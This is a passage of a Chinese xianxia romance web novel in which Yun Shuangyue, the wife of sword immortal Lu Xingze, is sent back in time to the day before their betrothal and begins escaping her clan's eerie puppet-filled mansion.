《和妻子重生回退婚前》
1. 当年事
腊月初一,碎玉乱琼覆长街。
此时暮色将临,云氏酒楼檐角冰棱已经挂了半尺。两个短打伙计踩着梯子,正往那鎏金飞檐下挂红绡灯笼,楼内人声鼎沸,惊得檐上积雪簌簌落在他们后颈。
"豁,这是今年第一场雪吧,下的真够大的!"小二挂好灯笼后搓了搓冻红的手,哈出一口白气。
他回头看了看酒楼里热闹的景象,像是想起什么似的用手肘捅了捅旁边和他一起挂灯笼的小二,压低声音问道:“天字一号间那位什么来头?连紫霄宫主和仙盟的那几个长老都携礼来贺。”
“剑衡仙君陆行则啊!你连他都不知道?”旁边那人语气带着震惊:“今日是他的生辰,数不尽有多人想借着这个机会凑到他面前想搏个眼缘呢。”
那小二挠了挠头,不好意思道:“我这不是才从下界调上来,消息都落后好久了。”不过他对这个剑衡仙君感到十分好奇,示意另一个小二继续说。
“罢了,既然你是从下界来的消息不灵通也正常,毕竟陆仙君崭露头角才几年!”
那人说着说着便激动起来,还用手给他比划起来:“一切都要从那年百盟大比说起,陆仙君无门无派唯有手中一剑,就这么赤条条地凭借那把剑力压仙盟数千天骄,夺得头筹!”
话未说完,楼内突然爆出喝彩。半敞的雕窗上剑影纷飞,好似能将这暮色都割成片片金鳞。
“瞧见没?”那个见识多的小二指着窗棂:“那就是陆仙君的剑气。”
“这招式瞧着确实漂亮,但是无门无派能压过仙盟弟子?”他有些不信:“吹的吧?”
“诶,要不怎么说人家是仙君!”那人用灵力幻化出一片幽蓝的龙鳞,继续说道:“有年北海闹蛟龙,所过之处浪涛百丈。陆仙君一人乘龙御剑七昼夜,生生把那恶蛟钉在了海底!”
“这几年间仙君一统百仙盟,剑诛十三魔,净化不度川……诸般事迹数不胜数,当真是少年风华无双,如今修真界再无一人能出其右。”他感慨道。
“年纪轻轻就如此风光。”小二看酒楼内天字一号那层人声鼎沸,皆穿的光鲜亮丽,极具特色:“想必陆仙君必定广结好友,红颜无数啊。”
但是这次那人却迟疑了一下:“广结好友倒是真,只是这红颜无数……”他压低声音:“倒是听闻陆仙君早就成婚了。”
——
“他早就成婚了?!你怎么不告诉我!”一个穿着艳丽的红衣女子猛地一拍桌,对旁边一身刀疤的男子大声质问。
“姑奶奶你能不能轻点!”那男子见桌上的酒碗都被震歪了三分,慌忙拿粗粝的手掌去扶:“这又不是秘密,我以为你们都知道啊,而且你也没问过……”
“我若知道还问你作甚?”红衣女子正要发作,忽觉四周投来异样目光,这才发现领桌宾客都在侧目。
她讪讪理了理裙子,轻咳两声:“没听陆哥提起过这茬啊。”
“人家的私事何必挂在嘴边,你以为谁都和你一样。”男人随口一说搪塞她,注意力完全被侍女刚端上桌的酒壶吸引了。
只见他大手抄起一个精致的酒壶就咕咚咕咚往嘴里倒:“好酒!哈哈!果然只有在云氏才能找到如此佳酿。”
“喂!别装聋。你和陆哥这么多年交情,说多点会死啊!”红衣女人见他那样,用尖锐的指甲掐着刀疤男的胳膊把他从美酒乡里拉出来:“他妻子究竟是什么人?”
“嗷!嘶......”刀疤男疼地直抽气,五官都有点扭曲了:“你下这么重的手要干嘛。”
“酒酒酒!这酒究竟有什么好的!”
男子听到这话不乐意了:“你不是问他妻子谁吗?哝!这酒哪来的。”
“云氏的醉仙酿啊。”
“那不结了。”刀疤男跺了跺脚下的织金地毯:“世人皆言云氏商路纵横九洲,而陆行则娶的,就是那云氏长女——云霜月。”
而听到这话女人却霍然起身,声音拔高:“那小柔怎么办,她......唔唔!”话还没说全,便被一只漂亮的手捂着嘴拉了下去。
是一位长相甜美的粉衣女子,正是红衣女人口中的小柔。
小柔刚刚就坐在红衣女子旁边听着,知道剑衡仙君的妻子时便开始有些神思不属,一时不查她的好友就闹出了这么大动静,见无数视线朝这边看来,她有些不好意思地朝周围人笑了笑。
本想就此揭过,谁料那拍案的声音把这次宴会的主人也吸引了过来。
“呦,这是怎么了?”那人朗声笑着问道:“不会又在编排我吧。”
只见说话的青年沐着暖融融的灯火而来,一席红白锦衣,在冬日像是一团招摇的火。头发向后梳起露出光洁的额头,偶尔几缕碎发落下来主人也没有要管的意思,马尾仅用发带绑着,上面缀着价值不菲的珠玉。像是随手扯了一根绳子就算作腰带,勒出劲瘦的腰身,落拓不羁。
“能有啥事,火曼儿这女人不经常这样一惊一乍的!”刀疤男冲青年扬了扬手里的酒壶:“倒是你陆行则,终于肯从你那堆追随者里出来了?”
他朝在他旁边站定的陆行则挤眉弄眼道:“我看他们恨不得把你供起来。前几年你被云氏关着还好,后面那群老东西就管不住你了,你的拥趸们简直是越来越狂热了。”
刀疤男对着陆行则夸张地抱紧双臂抖了抖肩膀,好似这样就可以抖掉鸡皮疙瘩一样。
这贱样换来的就是陆行则的靴子直直踹在了他脆弱的屁股上,笑骂他:“你假酒喝多了吧左邢,胡说八道些什么。”
“.....被云氏关着是什么意思?”一道纤弱如蒲柳般的声音插了进来:“是陆哥哥你妻子对你做了什么吗?”小柔的语气有些焦急。
我的妻子?
哦,说的是云霜月。
她能对我做什么啊,我们关系跟亲兄弟一样铁好吗。
听到这话,陆行则反应过来后用眼神质问左邢是不是趁他不在发酒疯乱说了什么,后者瞪大眼睛猛猛向他摆手摇头,用口型道:“这我真的啥都没说,她自己想的。”
此时的小柔也后知后觉意识到自己刚刚那番话有些唐突,想找些话题掩盖一下。
于是她看着陆行则灯火下优越的眉眼,有些怅惘地轻声问道:“陆哥哥的妻子,究竟是个什么样的人呢?”
——
云霜月是什么
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样的人?
没人问过他这个问题,于是一时间也没答上来。
他想起了第一次见云霜月的时候,那是陆行则穿越到这个陌生世界的第十七年。
他是去找云氏退婚的。
记忆里那个清晨的雾气总是散不去。
云氏的禁制不让他使用灵力,于是陆行则就被山上的雾气和云氏错综复杂的地形绕得头晕。
那时的他正攥着碎石在地上上刻下不知道第几遍的“此路不通”了,迷雾深处就乍起一阵清透的铃铛声。
他抬眼望去,正撞见素白祭袍从雾中浮出——裹在层层复杂绣纹里的人身形单薄得像片雪,脖颈间血色符文如枷锁蜿蜒,偏生唇边一点艳色的朱砂痔才赋予了那人一点活气。
“公子是何人?”
她的声音也很冷,鸦羽似的睫毛垂落,让陆行则无端想起幼时喜欢捕捉的凤尾蝶。
后来他让云霜月带他去找家主,一路上和她搭话半天也得不到一个字回应,无聊的陆行则就数着她腰间金铃摇晃的节拍。
一千七百余步,铃响九百八十三声。
她广袖拂过的地方雾气退散,露出雕着异兽的廊柱,那些东西和云氏一样诡异的很,青铜兽首的眼珠会随着脚步转动。不过那时的他却只顾着盯着云霜月被绸缎裹得严严实实的后颈,想着那下面是不是藏着什么未愈的伤口。
然而云霜月到了正厅后的高冷又是另一种模样。
家主唤她名字时,云霜月身上的生机好像被彻底夺走了,整个人仿佛被关进棺材那样死气沉沉,和路边枯死的树枝没什么两样。整张脸白地像生宣,就连嘴角的红痣也如同干涸在纸上的胭脂。
吃人的家族,里面关着我的未婚妻。
或许是英雄主义作祟?还是什么别的什么说不清的东西。
反正当年的陆行则就盯着云霜月黑漆漆的眼睛,把退婚的话给咽了下去。
……
所以云霜月是什么样的人呢。
半响,小柔才等到陆行则开口:“她啊,其实是个......”
“砰砰!”
后半句小柔并没有听到,因为外面放起了烟花,青年的声音被盖住了。
她只看到离陆行则最近的左邢露出一副牙酸的表情。
“这般样式的烟花倒是头一回见到!”
“哈哈,真是大开眼界啊!”
楼顶忽然绽放的烟花如同金蛇游穹,百来座莲花烟火次第盛放,火凤衔珠的奇景引得满楼惊叹哗然。
天上夺目的亮光倒映在赵柔的眼眸之中,只是她觉得这点光芒远没有陆行则的眼睛明亮。
她想,或许不用知道后半句话了。
仙君的妻子一定是一个很好的人。
不然他的眼睛为什么会在提起妻子时,如此明媚?
竟让这声势浩大的烟火都逊色了。
而这位眼睛明亮的仙君也没多瞧上几眼这漂亮的烟火,只见他突然朝客人随心所欲开口道:“我有事先走了啊各位。”挥挥手留下一句:“我老婆催我回家吃饭!”
竟直接甩下一众人,翻窗跳入了这茫茫雪夜之中。
2. 当年事
“簌簌——簌”
靴子踩过院子中的雪,陆行则自己提了一盏灯笼回到房门口。这院落成婚后一直是云霜月住着,此时子时刚过,已经是陆行则生辰的第二天了。
屋内暖橙色的烛光透出来,陆行则像狗甩水那样抖落头上的雪珠,顺便在外头站了一会散掉刚刚宴席上带出来的酒味。
随后他调整了一下头上的发带,才推开门朝里头的人道:“云霜月,我回来了。”
其实云霜月大了他好几岁,这么直呼其名颇有些大逆不道的成分在,旁人听着也全然没有亲昵的意思。
可陆行则实在想不出该怎么叫。
难道学着云氏那几个老东西一口一个“霜月”“小月”?那也太怪了。
陆行则称呼一些比自己年长的女性统一用“姐”,不管熟不熟。因为他觉得这样可以很好地拉近关系,打探情报还是日常闲话都更容易进行。
但唯独对云霜月,那些市侩的亲昵都失了效。
而且陆行则不认为自己需要用称呼和云霜月拉近关系,从红绸的两端被牵起时,他们的羁绊就已经是这世间最亲密的一种了。
如果两人愿意,就算在最为平淡克制的拥抱中,人类这两颗最脆弱心脏之间的距离也能趋于无限近,再一步就能彻底将对方揉进怀中融入这森森白骨与血肉之中,再无缝隙。
可没必要啊,陆行则并不需要和云霜月如此亲密。
他把云霜月当朋友处的啊,这也太肉麻了吧!
不过要说在称呼这点上,云霜月就他完全不一样,颠覆他初见她的那副死人劲,惯用一些亲昵的小字来唤陆行则。
若是旁人听到那些黏糊的称呼,必会怀疑自己是否撞破了一对爱侣的呢喃。
就比如眼下陆行则刚踏入房间,里面温暖的气息就包裹着云霜月含笑的声音传了过来,轻缓而低柔。
他听到她说。
“小则回来了。”
——
云霜月身着宽松的锦织白袍跪坐在蒲团上,身前琴案上的琴被一堆账本和针线代替,她此时呈现了一个放松的姿势朝陆行则看来,摇曳的烛火给她长年苍白的脸颊添了点血色,皮肤甚至被照的有些透明,可以看到纤瘦身体上青色血管的脉络。而且云霜月的五官内敛娴静,圆钝的眉眼让她在沉默时更像一尊玉质观音像,只有在说话时牵动嘴角那颗红痣,整个人才生动起来。
“你的发带是不是被扯坏了?”云霜月就看到了陆行则在门口整理过的发带,一下就猜到了什么,弯了弯眉眼招呼他过来:“今年的发带刚好绣完,把旧的换下来试试这条新的吧。”说着她把针线凑到淡粉色的唇边咬断,拿着发带朝他晃了晃算作展示。
陆行则摘了发带,有些别扭地走过去在云霜月旁边坐下,他觉得云霜月招呼他的样子有点像招狗。
虽然她一直以来都是这样的,但是陆行则回清淮的次数很少,导致他到现在还没有习惯。
为了甩开这种别扭感,他随口开启了个话题道:“姬芜珩做出了新药,我给你和东极山的特产一起带来了。”说罢摘下手上的一只储物戒,连带着旧发带一起递到了云霜月手中。
“就是那个之前帮你看病的白毛男,近几年混了个神医的名头。我在东极山清剿魔教的时候碰到他了,他让我把药带给你,看看这次能不能消去你身上那几道云氏给你留下的伤口。”
只是在接触到云霜月手的时候他顿住了。
那双苍白的手上有多出好多道细痕,看伤口颜色完全是新添上去的。刚刚陆行则在远点的地方还没看发现,如今凑近才看清。
他收起漫不经心的样子,下意识抬头去看云霜月的脸。然而这双手的主人并没有意识到什么,仍然笑盈盈的接过他的东西:“芜珩越来越厉害了啊,真是英雄出少年。”后又担忧道:“只是东极山地势险峻,又有魔教在那作乱,你们可有受伤?”
“受伤?有啊.....不过不是我。”
陆行则故意拖长调子,看面前这个真正的伤患又要急切问询,骨节分明的手抓住云霜月受伤的地方往前拖:“受伤的人在这。”
他盯着云霜月的眼睛问:“这是怎么回事,看这伤口的气息和你身上的一样,云氏那群人又来找你麻烦了吗?”陆行则皱起眉头:“我当年在不渡川削去他们大半势力,如今这群人如同被剁去四肢,连苟活都够呛,哪来的力气伤你。”
云霜月愣了一下,开口和他解释道:“别担心,这伤口对我来说不是很疼。这次不是他们主动找的我,我去了老宅一趟取点东西。”
见他披散头发面容都有些看不真切,云霜月就先把他的俊脸扭过去,拿起手边的梳子想转移话题:“这次出去一趟,头发怎变得如此毛躁,闯荡几年还和从年一样不稳重。”
陆行则的头不老实地动了一下,看这架势就是想把头扭过来继续追问,云霜月拽着他头发不让。
“嘶....痛!”陆行则叫了一声,老实了。
云霜月笑了笑,放松了力道但没松手:“痛就不要乱动。”
“到底什么东西值得你再受一遍这种伤?”陆行则察觉到云霜月的企图,没让步。
他感受到后面齿梳的力度,想起姬芜珩看见云霜月伤口第一眼时说的话。
“剑意入骨,刻于神魂,此痕难消。”
云霜月这次背着他究竟去取了什么东西?
“嗯......好吧。说起来这也算是我送你的生辰礼了。”云霜月妥协道。
她把陆行则梳顺了的头发用新发带扎了一个马尾,随后才给他递去一个古朴的木盒,带了点叹息:“年年为你绣发带算作生辰礼,想来是有些偷闲讨巧,比之你好友送的那些奇珍异宝倒是逊色很多。”
陆行则挑眉:“这么在意他们做什么,你和他们又不用认识。”
他接过后本想顺手摇一摇,谁料那木盒一到他手中就碎了。
?
突发的情况让他难得错愕,开口正要说话,就被一枚从破损的碎盒子里滚出来的红色珠子打断思绪。
珠子整体呈现种血一样的深红色,和陆行则手接触时散发出了微弱的金光,细看会发现里面流动着陌生的符文,在金光亮起后流动加快,很快整个珠子变成了半金半红的样式,两种颜色泾渭分明。
这是......
“阴阳命珠?!”
传闻阴阳命珠具有时间的法则,天道拨弄气运时将一缕未来嵌入其中,拥有此珠者可透过天道之眼通晓前路,避祸驱邪。
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陆行则当年为了弄清楚自己穿越的事情寻找此物,谁料半路被一个和云氏关系匪浅的黑衣人夺走。
“当时你就是为了它才来到云氏的吧?”
陆行则因为姿势背着云霜月而看不到她表情,只觉得她的声音轻了很多,像是下一秒就会被风吹走一样:“我们的婚约由它而起,威逼也好,利诱也罢,云氏到底将你我彻底捆死在一起的目的达成了。人心不足蛇吞象,他们走到这一步咎由自取。”
云霜月又叹息一声,低下头闭目:“只是云氏终究蹉跎了你那几年的时间,若不是与我的婚约,你早该去往更广阔的天地施展拳脚。”
她垂下的头发和陆行则的纠缠在一起,如同今生他们从遇见开始就无法剪断的命运一样:“如今我才破开他们藏匿此物的线索,恰逢你生辰,便算是当份添头作礼物赠予你。”
陆行则觉得云霜月此时情绪怪怪的:“你这话怎么说的像结局了告别一样,我现在也挺好的啊。”
云霜月成婚后的这些年变化很多,唯独听她说话依旧像拨洋葱一样,得一层一层拨开来听最里面的。
虽然云氏相当棘手难缠,阻挠了他诸多事情,但陆行则也不会一直被云氏彻底控制住,通过云霜月对他的掩护,让云氏自尝恶果一直都只是时间问题。
于是他赶紧开启别的话题,将云霜月从那种低沉的情绪里拉出来:“额,反正都是过去的事情了。”
他把手里的命珠伸到云霜月低垂的头发下晃了晃,示意她抬头:“云霜月,你听说过关于阴阳命珠的传说吗?”
“嗯?”云霜月注意力被吸引了过来。
面对笑得一脸神秘的陆行则,她思索一下后答到:“世人皆言其可预灾避祸。”
陆行则听后,伸出一根手指在云霜月面前摇了摇。
“不对。其实它真正的作用是……”陆行则笑了一下,微微露出自己的犬牙:“逆转时空。”
“当时我师傅,就那个戒指里的老头告诉我,阴阳命珠是我的过去和未来的关键一环,所以我才来了清淮。”
他把珠子放到烛火旁,好像在研究怎么用,可珠子始终没有给出半点反应:“只是现在拿到它,我好像没有多大感受。让我回到过去,好像只是修炼会更快些,妖魔死的更早些.....嗯,还有什么呢。”
云霜月静静听着,最后垂下眼睫,提醒似地开口:“还有,避开你与我的婚约。”
不要再陷入这扯不断也理不清的命运之中了。
“那不就不能认识你了?”陆行则随意接上:“不过也是,这个婚约没有也好……”
大不了他用别的方式认识云霜月好了。
那样就没有什么家族纠纷,没有什么契约强制,当那种纯粹的朋友。
这个婚约将他和云霜月拉入了一段不明不白的关系里整整七年。
夫妻二字时常模糊陆行则与云霜月相处的界限,这对世界上最亲密的陌生人,竟也稀里糊涂地相处了这么久。
像是坐累了似的,陆行则半趴在了云霜月给他缝发带的案几上,暖色灯光下他的桃花眼半眯着,一只手撑着脸颊看着云霜月,另一只手把阴阳命珠抛给她。
“云霜月,如果可以回到过去,你想做什么呢?”
3. 今生缘
如果可以回到过去,我想做什么?
云霜月听到陆行则问。
要说回到过去,可云霜月遇到陆行则之前,每一天其实过的都大差不差。
世人只知清淮云氏名号响彻修仙界,大大小小的产业遍布各地,真金白银砸出来的高阶修士更是层出不穷。寻常宗门的天骄也只能徒劳抬起头,仰望这个云端之上的庞大家族。但其实每代云氏嫡系少之又少,云氏百年的基业都系于此脉。
而云霜月正是这一代清淮云氏长女,所担负的责任恐有千斤,所受惩诫必是重罚。
陆行则刚刚抓住她的手看的那些痕迹,当年姬芜衡看了都觉得棘手的旧伤,全都出自云氏的“戒律剑”。此剑无形无影,只有在云霜月触犯所谓云氏的戒律时才会自己出现,剑光过后徒留她一人自省。
所以她对陆行则说的不痛根本不是假话,她从小时候开始就早已习惯这种疼痛。
有一年陆行则为了找出云氏在不渡川的线索,带她一起闯入云氏祠堂。铺天盖地的剑光过后,云霜月面不改色地递给他图纸,那双苍白到一看就羸弱不堪的手鲜血淋漓,却抖都不带抖的,把陆行则都吓了一大跳。
对于云霜月来说,如果没有陆行则的出现,规则和沉默才是她过去真正的底色。
云霜月呆的云氏老宅活人不入,死物不出,但偏偏陆行则就这样横冲直撞地闯入了。
所以,如果真的可以回到过去。
“我想出去看看。”她说。
顺便看看外面究竟是个什么样的世界,能养成陆行则这般模样的人。
“好啊。”陆行则用骨节分明的手指绕着新发带玩,想也不想脱口而出道:“到时候我带你去吃清淮山脚下的灌汤包,就是我每次回来给你带的那家。”
云霜月愣了一下,笑着点点头。
心中想的却是,如果回到过去,她应该不会再让自己和陆行则牵扯过深了。
这时二人谁也没注意到,云霜月手中的阴阳明珠极快地流转过一抹金光,然后归于平静。
——
“轰隆”
天地间一声巨响,雷光照亮了一处华美庭院。
昏暗的房间里,名贵的香炉缓缓吐出烟雾。
床上有一个纤瘦的女人,她似乎被这不请自来的雨水唤醒,漆黑的眼睫颤动,缓缓睁开眼睛。
感觉依稀听到了窸窸窣窣的声音。
云霜月捂着头从床上坐起,下意识轻唤一声:“小则?是忘记把窗子关上了吗?”
响动的声音一顿。
“…小则?”
不对。
压在手下的被褥材质陌生,房间的香味也不是云霜月近日新做的那款,这里不是她在清淮的院子。
云霜月心下一沉,回忆着昨夜同陆行则聊完后回到房间的那段时间是否出了什么异常。云氏残党的报复?还是陆行则的仇家?带她来这的目的究竟是什么。
思绪纷乱间,她猛然对上了一双黑洞洞的眼睛。
黑色的眼珠好像石头似的一动不动凝视着她,眼白少的可怜。
“小姐……您该起来沐浴准备晨祷了。”
眼睛的主人面无表情,幽幽道。
晨祷。
这个已经很久没出现在云霜月耳边的词让她愣了一下,加上眼前这个面容熟悉的丫鬟,她心中疑惑丛生。
于是云霜月不动声色地打量了四周的陈设。
橴炆木雕花的桌椅上刻着云氏族徽,线条流畅,雕刻精细。桌子上叠了一件雪白的衣服,四四方方,用红黑两色的线绣着特殊纹样,独一无二的样式让云霜月一眼就认出那是云氏每年祭祖日必穿的祭服。
这是……
她在云氏老宅的房间。
可这房间早在七年前就被陆行则一把火烧了个干净,连带着那件祭袍一起埋在云霜月的回忆里。
脑内传来一阵尖锐的痛意,她下意识闭眼扶住自己的额头,动作间一丝明显的凉意碰上面颊,陌生的触感让云霜月睁开眼看去,待看清楚具体是什么物体时瞬间清醒了。
怎么是阴阳命珠!
而且还只有一半......
那颗珠子昨日明明被云霜月完整放回到了陆行则的手中,如今却只剩一半,还被一根不知是什么材质的红线串在云霜月的手腕上。
“轰隆!”又是一道惊雷落下。
电光火石之间,云霜月想到阴阳命珠的传说和陆行则昨晚问她的那个问题,一个不可思议的答案在心头浮现。
她极有可能。
回到过去了。
——
一旁的丫鬟见床上的云霜月久久没有动作,欲要上前一步查看。
云霜月反应过来打断了她的动作:“你先下去吧,我知道了。”她需要一个人再捋捋此时的情况。
丫鬟停下了,苍白的脸上露出一个疑惑的表情,然后用那黑色的眼睛审视般得盯着云霜月。
“……是。”
看了几秒,丫鬟才轻轻垂头退出去。
行走间竟没发出一点声音,像游魂似的飘走了。
面对这诡异的场景,寻常人看到必定会惊叫恐惧,云霜月却好似习惯般视若无睹。她若有所思地下了床,巡视了一圈发现房间里面没有一点关于现在具体情况的线索后,来到了房间里唯一的窗边。
云霜月用苍白到有些透明的手指拂过窗棂,缓缓一推。
“吱呀──”
外面的雨不知何时停了,突然闯入的阳光映射到云霜月漆黑的瞳仁,让她不受控制地眯了眯眼。
窗外只有一片空荡荡的竹林,经过雨水的洗礼显得寂寥非常,又因为云氏老宅这块地方常年大雾,再远一点的景色就被吞没在茫茫水汽之中,遥不可及。
云霜月站在窗口醒了醒神,随后将目光挪到桌子上。阴阳命珠的存在不容忽视,时刻提醒着她眼下情况的诡异。
继续呆在这已经看不出什么了,为了弄清楚接下来要做什么,只能穿上祭服去晨祷,先了解现在具体的时间再说。
于是云霜月换上衣服,推门前往云氏祠堂。
——
“霜月来了。”
云霜月的父亲跪坐在神像前,捻动珠串的动静停住,睁开眼睛盯住她,微微颔首示意。
一旁母亲也把头转了过来,眼睛被一条白色绢布蒙着看不真切神情,见她跪坐好之后,嘴唇蠕动几下,但最后没说什么,又把头转回去。
云霜月面前正对着神像,世人供奉的神明千种万种,但是云氏的在诸多神像中也算是独一份了。
那是一双巨大的眼睛,传闻中云氏一族历代传承的预言箴眼。
它由黑色的符文构成,悬在半空中,密密麻麻的字挤压成黑漆漆的瞳仁。瞳仁还因符文的活动挤压在迅速移动,自下而上看去如同疯狂颤抖的眼珠。眼睛底下是用朱砂绘制的法阵,鲜红的颜色好像血一样霸道地渗透了半个神院。据说它能预言天道的走向,成功扭转过修真界的几次大危机,云氏最开始就靠着它起家。
云霜月小时候一直觉得这个神像是个虚设,每年晨祷都是跪坐在那看着这个眼睛乱动又停下。
直到那一次,陆行则来到云氏的前一日。
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想到这,云霜月的目光颤动一下,感受到手腕上的阴阳命珠骤然发烫,她心中升腾出一丝不妙的预感。
突然,符文颤动更加剧烈,地上的朱砂开始顺着黑字向上爬,把其中几个染成红色。
随后那几个红字飞速挤在一起,伴随着“沙沙”的声音,形成了一句话。
“命星现,红线牵,雀鸟泣三声,此世天地鉴.....”
这句话悬在空中,隐约的金光在里面流窜,不同往日的沉寂,眼睛给出了一道箴言。
她的预感成真了。
真的是那天。
此时距离陆行则来到云氏还有一日不到的时间,意识到这点的云霜月感到猝不及防,她还没弄清楚回来的具体原因就碰上了如此关键的节点,对于接下来的每一步都感到棘手。
无数的念头在云霜月脑子里打架,思绪纷乱间一道声音将她打断:“霜月,你可以回去了。”
是云霜月的父亲,她跪坐在他的后方,看不清男人说这话的神情。
不过此刻她正需要安静的空间,面对这种打瞌睡送枕头的话,云霜月马上应了后朝祠堂外走去。
呼吸到了外面新鲜的空气,吐出了刚刚一直盘旋在心口的沉闷。她脚步不停,朝着老宅房间的方向边走边思索。
她真的回到了过去,情况非常突然,导致云霜月对接下来的计划一片空茫,此时还是陆行则同意婚约和她彻底绑定的前一天,如果她今日什么都不做,陆行则就会同上一世一样同云氏的阴谋纠缠不清。
所以,接下来要走的每一步不仅关乎云霜月一人的命运,这还有关陆行则的命运。
思及此处,云霜月停住脚步。
其实成婚多年,云霜月能察觉到他某些时刻的真正情绪。
纵然他习惯敛藏锋芒,可到底云霜月年长他十岁,少年心性着实好懂。
她知晓他心怀天地,自由如风,不甘被云氏困住。她也知晓他喜欢结交好友,追寻志同道合的伙伴,而不是呆在云霜月身边。陆行则心性较之同龄人已然绝尘,真实的想法会被他藏起来。但是偏偏云霜月浸泡在云氏宗族二十九年,虽寡言沉默但对情绪感知颇为敏感。
在云霜月眼里,一直觉得陆行则像鸟。
一只和她紧紧相连的鸟。
陆行则的每次离开,在云霜月看来都如同飞鸟逃出笼子。
他会在回来时给困在笼子里的云霜月带来外面的阳光。云霜月将自己的自由放在了陆行则身上,好像他闯荡修仙界也如同自己在冒险。
意气风发的陆行则,是年幼的云霜月曾经垫脚透过四四方方的窗户看向天空,憧憬未来会成为的样子。
但后面几年云霜月又常常凝视陆行则因为云氏受的伤,抚过他困顿的眼眸,蹙起细细的眉毛叹息道自己竟成了困住别人自由的牢笼,这和云氏有何区别呢......
她不想这样。
“如果回到过去,我想出去看看。”
自己的声音此刻也在云霜月脑内浮现,于是一个大胆疯狂的念头也越来越清晰。
她不想被云氏同化变成拘束陆行则的锁链,陆行则的自由也不是云霜月的自由。
她想自己亲自去看看。
前世云霜月成婚后搬离老宅,同陆行则逐步破开云氏埋藏的秘密,虽然最后在不渡川那边迟迟没有进展,但此时的云氏老宅必然困不住云霜月。
回忆着老宅的机关和重重禁制,云霜月的脚步调转,不再朝着老宅房间走去。她算着陆行则即将到来的时间,心中的念头愈发坚定。
她要出去。
她要逃出去。
4. 今生缘
静夜沉沉,浮光霭霭。
当云霜月把藏在老宅的那几个隐蔽的机关都捣鼓一番,放上符篆后,整个云氏早已经笼罩在茫茫夜色之中。
比白日里更厚重的浓雾弥漫在附近,本就少有光亮的宅院更是难以看到灯火。
此时她回到了祠堂的门口,身上仍穿着晨祷那一袭纯白色祭袍,衣服绣着的繁琐花纹在夜色中仿佛会呼吸一样,偶尔闪过流光。
云氏对于祭服的穿戴自有一套严苛的规则,讲究不露声色。所以云霜月就连修长的脖颈也被白色绸带围着,上面画着密密麻麻的血色符文,乍一看仿佛是一条锁链,将她牢牢勒住。
云霜月苍白的指尖碰了碰自己的脖子,随后深吸一口气后又吐出。
她看向前方,就剩这最后的禁制了。
不再多想,云霜月用另一只手推开厚重的大门。
伴随着“吱呀——”一声,此前从未见过的夜晚祠堂的样貌呈现在她眼前。
珍贵的灵石被碾成粉末绘制堂内的莲纹彩壁提供了奢靡的昏暗光线,横檐之上用金丝银线绣成的白纱被外头的风吹动,露出下面几尊精雕细琢的巨大彩漆雕像。
这些雕像是云氏历代先祖,不知什么材质雕刻而成,相貌衣着甚是逼真,好像在下一秒就会活过来一样。
不。
就是活过来了。
因为云霜月清楚看到那几个雕像的眼珠齐齐朝她的方向转过来。
“.......”
这番常见属实诡异非常,但是云霜月却没有说话,面色不改。
原来是这样。
她甚至有些分心地想到了前世,她和陆行则来寻找禁制破解的线索那个时候。
当年她和陆行则成婚不足一月,还不怎么熟悉,两人商量计划时云霜月提议晚上来祠堂,那样比人多眼杂的白日方便行动。
陆行则却东扯一点西扯一点,左右意思都是晚上不适合云霜月去,美其名曰男人的直觉,当时的她完全看不透这位陌生的少年丈夫脑子里想的什么。
结果还真被他骗了过去,心说或许天才思考的方式总归有他自己的道理。
现在想来估计是他自己早早背着她将老宅摸索得一干二净,也必然见到过这诡异的场景,怕吓得这位传闻中身居闺阁的大小姐魂飞魄散,导致脑袋空白乱了他的计划。
思及此处,云霜月颇有些无奈的摇了摇头轻笑一声:“真是......”
不过陆行则既然能顺利回来,说明此刻雕像会动的眼珠暂时不会造成实质伤害。
云霜月的心情轻松了一点,抬脚继续向前走去。
果然,除了依旧在和她一起移动的黑色眼球外,雕像并没有再做出其他别的诡异动作。
任由云霜月走上前,最终停在晨祷时她跪着的那个位置上。
位置前面有两个“人”,和今天晨祷的姿势一样,一人面容严肃,一人眼蒙素纱,正是云霜月的父母。
只见身为二人女儿的云霜月连眉毛都不抖一下,手腕转动,抬手就拔下了自己头上的玉簪直直插向其中一人的后颈!
神异的一幕发生了,好似有个透明的屏障被击碎,伴随着类似于“苛哒苛哒”机关转动的声音,那人的脖子后面竟然凭空多出一个锁孔。
锁眼形状古怪,不同于市面上正常的款式,它真的如同名字一样,看着像一个眼睛。
诡谲怪诞的情况下,云霜月的动作没停,把簪子继续按进锁孔,手中感受到一股想要回弹的阻力。
她神色一肃,常常舒展的细眉下压,随着嘴角红痣的颤动,一串咒语从口中吐出,在半空中化作蚂蚁一般的金色小字融入锁孔。
“苛——”
机关转动的声音停止了。
显然正常人颈后不会出现这种东西。
所以机关停止同样也意味着,眼前云霜月的父母,根本不是活人。
和她料想的差不多,两人估计在箴言出现的没多久就离开老宅了,徒留下这两具傀儡。
前世陆行则在破开禁制的第一时间就一把大火烧掉了云氏老宅,事后却疑惑问她为什么这硕大的宅院一个活人都没有找到,火焰的余烬之下连衣物的碎片都没有。
有啊。
应该是有的。
那些从幼年开始就时常监视云霜月的丫鬟,那个用鞭子训诫云霜月规矩的嬷嬷,长得大差不差的小厮,以及她那两个惜字如金的父母。
可事实是,这些人如同凭空消失了一样,仅有老宅的木质屋舍留有大火烧过的痕迹。
甚至三日过后,老宅莫名其妙恢复了原状,除了云霜月的父母,那些诡异的仆人竟重新出现,好像对那场大火一无所知。
然后陆行则又放火烧了几次,老宅的屋子除了祠堂,其他的一直没再复原了,可那些人依旧会在那游荡。
后来又过了很久,陆行则才从不渡川找到真正的原因。
他说老宅中所有的人都是傀儡,但云氏的傀儡特殊,会具有一种特别的主从关系。要想彻底结束老宅那堆游离的“人”,就必须找到所有傀儡中的主人。销毁那个傀儡,云氏的所有傀儡才会消失。
“云霜月,你知道哪个是傀儡的主人吗?”
那时在修真界风头最盛的剑衡仙君就盘腿坐在她的脚边,仰着那张愈发风流蕴藉的脸问她。
云霜月却微垂下薄薄的眼皮,视线拂过陆行则刚回来马上又要离开所以没换下的衣服,拂过他脖子上多出来的几道还没痊愈的疤痕,轻摇下头。
“算了。”
都这么多年了。
云霜月拿手摸摸陆行则的头,替他调整了一下发带。
她没说知道,也没说不知道。
徒留两个轻飘飘的字,在那时间匆匆的流水里消散逝去。
——
思绪拉回,云霜月看着手下的傀儡躯体逐渐变得透明,她拔出簪子。
“叮——!”物体断裂的声音。
松开手,看到只剩下半根的簪子掉在地上,另一半和傀儡的身体融在一起,慢慢化作碎片消失逸散了。
怎么连簪子也会一起带走。
她愣了一下,只好蹲下捡起仅剩的半根插进另一个傀儡的后颈,对它又念了一遍刚刚的咒语。
好在还有半根能用。
